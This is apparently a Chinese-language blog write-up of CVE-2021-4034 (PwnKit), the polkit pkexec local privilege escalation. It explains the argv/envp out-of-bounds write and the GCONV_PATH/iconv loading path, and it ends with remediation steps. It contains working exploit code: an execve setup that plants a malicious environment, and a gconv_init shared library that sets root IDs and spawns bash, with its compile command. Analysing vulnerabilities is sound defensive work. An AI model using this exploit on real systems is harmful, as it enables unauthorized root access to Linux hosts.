1.漏洞编号
CVE-2021-4034
2.影响范围
2021以前发行版
3.漏洞详情
此漏洞exp利用流程上来说，可以分为两个部分
1.设置恶意环境变量
2.通过恶意环境变量执行命令
3.1 设置恶意环境变量
pkexec 源码地址
https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c
在533行,n被赋值为1
610行，存在越界读取，我们执行pkexec的时候，不传参数，argv数组只有默认的0下标，1是不存在
那么argv[1]是什么呢？
当我们执行一个程序时，内核会将我们的参数、环境字符串和指针（argv 和 envp）复制到新程序堆栈的末尾；如下所示：
|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
V V V V V V
"program" "-option" NULL "value" "PATH=name" NULL因为argv和envp指针在内存中是连续的，那么argv[1]实际上指向的是envp[0]
通过给argv[1] 赋值就能修改环境变量
在632行，调用了g_find_program_in_path函数
根据glib的源码，这个函数是用来在PATH中搜索传参的绝对路径的，比如传参id,返回是/usr/bin/id，然后在639行将返回值越界写入了argv[1],也就是第一个环境变量
根据这个流程，我们使用如下代码，可以做到设置恶意环境变量
shell创建文件夹 mkdir GCONV_PATH=.，在目录中创建test文件
char *a_argv[]={ NULL };
char *a_envp[]={
"test",
"PATH=GCONV_PATH=.",
NULL
};
execve("/usr/bin/pkexec", a_argv, a_envp);
经过g_find_program_in_path函数以后,在我们创建的畸形目录中搜索到了test文件，此时envp[0]的的值为GCONV_PATH=./test
恶意环境变量完成，然后这里就有一个问题，我们费劲巴拉搞半天，就为了把GCONV_PATH设置到环境变量，为什么不直接通过execve函数把环境变量传进入呢？
当时这里我也没理解，后来看先知上的23R3F师傅的文章才搞懂了，linux 的动态连接器ld-linux-x86-64.so.2 会在特权程序执行的时候清除敏感环境变量。
我们可以测试一下，id为没有赋予suid权限，成功输出了hello。
pkexec有suid权限，LD_PRELOAD其实是没有生效的。
我个人的理解就是，在linux里面定义的这些敏感环境变量，除非suid程序自己本身setenv了，否则外部是无效的
3.2通过恶意环境变量执行命令
走到670行，
用for遍历environment_variables_to_save作key，去环境变量中取值
然后传给函数validate_environment_variable,此函数是检测shell是否合法的，需要通过这个函数来触发关键函数g_printerrr
有两种方法，传环境变量SHELL=test，或者走第二个if，XAUTHORITY=..
g_printerr中间接调用了linux的iconv_open函数，调用链如下
strdup_convert() <- glib/gmessages.c:1126
g_convert_with_fallback() <- glib/gmessages.c:676
g_convert() <- glib/gconvert.c:972
open_converter() <- glib/gconvert.c:876
g_iconv_open() <- glib/gconvert.c:637
try_conversion() <- glib/gconvert.c:260
iconv_open() <- glib/gconvert.c:208iconv_open函数会根据环境变量中的GCONV_PATH的目录下的gconv-modules文件
文件内容如下
表示UTF-8转换到LANYI编码，需要用到lanyi.so，1表示表示转换成本的数值。如果缺少该单词，则假定成本为1，我们将恶意的lanyi.so放到当前目录下，然后通过网上的一段demo来测试是否能正常加载so
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <iconv.h>
int main(int argc, char **argv)
{
/* 目的编码, TRANSLIT：遇到无法转换的字符就找相近字符替换
* IGNORE ：遇到无法转换字符跳过*/
//char *encTo = "UNICODE//TRANSLIT";
setenv("GCONV_PATH", "./", 1);
char *encTo = "LANYI";
/* 源编码 */
char *encFrom = "UTF-8";
/* 获得转换句柄
*@param encTo 目标编码方式
*@param encFrom 源编码方式
*
* */
iconv_t cd = iconv_open (encTo, encFrom);
if (cd == (iconv_t)-1)
{
perror ("iconv_open");
}
/* 需要转换的字符串 */
char inbuf[1024] = "abcdef哈哈哈哈行";
size_t srclen = strlen (inbuf);
/* 打印需要转换的字符串的长度 */
printf("srclen=%dn", srclen);
/* 存放转换后的字符串 */
size_t outlen = 1024;
char outbuf[outlen];
memset (outbuf, 0, outlen);
/* 由于iconv()函数会修改指针，所以要保存源指针 */
char *srcstart = inbuf;
char *tempoutbuf = outbuf;
/* 进行转换
*@param cd iconv_open()产生的句柄
*@param srcstart 需要转换的字符串
*@param srclen 存放还有多少字符没有转换
*@param tempoutbuf 存放转换后的字符串
*@param outlen 存放转换后,tempoutbuf剩余的空间
*
* */
size_t ret = iconv (cd, &srcstart, &srclen, &tempoutbuf, &outlen);
if (ret == -1)
{
perror ("iconv");
}
printf ("inbuf=%s, srclen=%d, outbuf=%s, outlen=%dn", inbuf, srclen, outbuf, outlen);
int i = 0;
for (i=0; i<strlen(outbuf); i++)
{
printf("%xn", outbuf[i]);
}
/* 关闭句柄 */
iconv_close (cd);
return 0;
}
hello被成功执行，我的so没有实现gonv_init函数，所以报错了
exp:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv(){
return;
}
void gconv_init() {
setuid(0);
seteuid(0);
setgid(0);
setegid(0);
static char *a_argv[] = {"bash", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execve("/bin/bash", a_argv, a_envp);
exit(0);
}
编译gcc -o lanyi.so -shared -fPIC lanyi.c
然后按照前面的流程，越界写入环境变量即可，执行so文件
到这里还要一个问题，为什么漏洞发现者要选择GCONV_PATH这个相对来说比较复制的变量，而不选择LD_PRELOAD这个利用起来更简单的变量呢？
是因为LD_PRELOAD定义的so文件，这个加载的过程是在程序执行前执行，而pkexec已经启动了再设置变量是无效的。
那么就有了一个新问题，为什么php可以用过设置LD_PRELOAD来进行bypass_functions
当时因为被这个问题搞迷糊了，就问了一下p牛。是因为PHP在设置了LD_PRELOAD后，又fork了新进程（使用popen），此时父进程的环境变量会被新进程继承，在这个阶段LD_PRELOAD被利用了。所以如果PHP里不执行mail这类可以fork新进程的函数，也是不能利用LD_PRELOAD的。
看一下php源码，确实是popen启动的
3.3漏洞复现
4.漏洞修复
1.更新到polkit最新版本
2.取消pkexec的suid权限
文章来源: 博客园
- 还没有人评论，欢迎说说您的想法！
客服
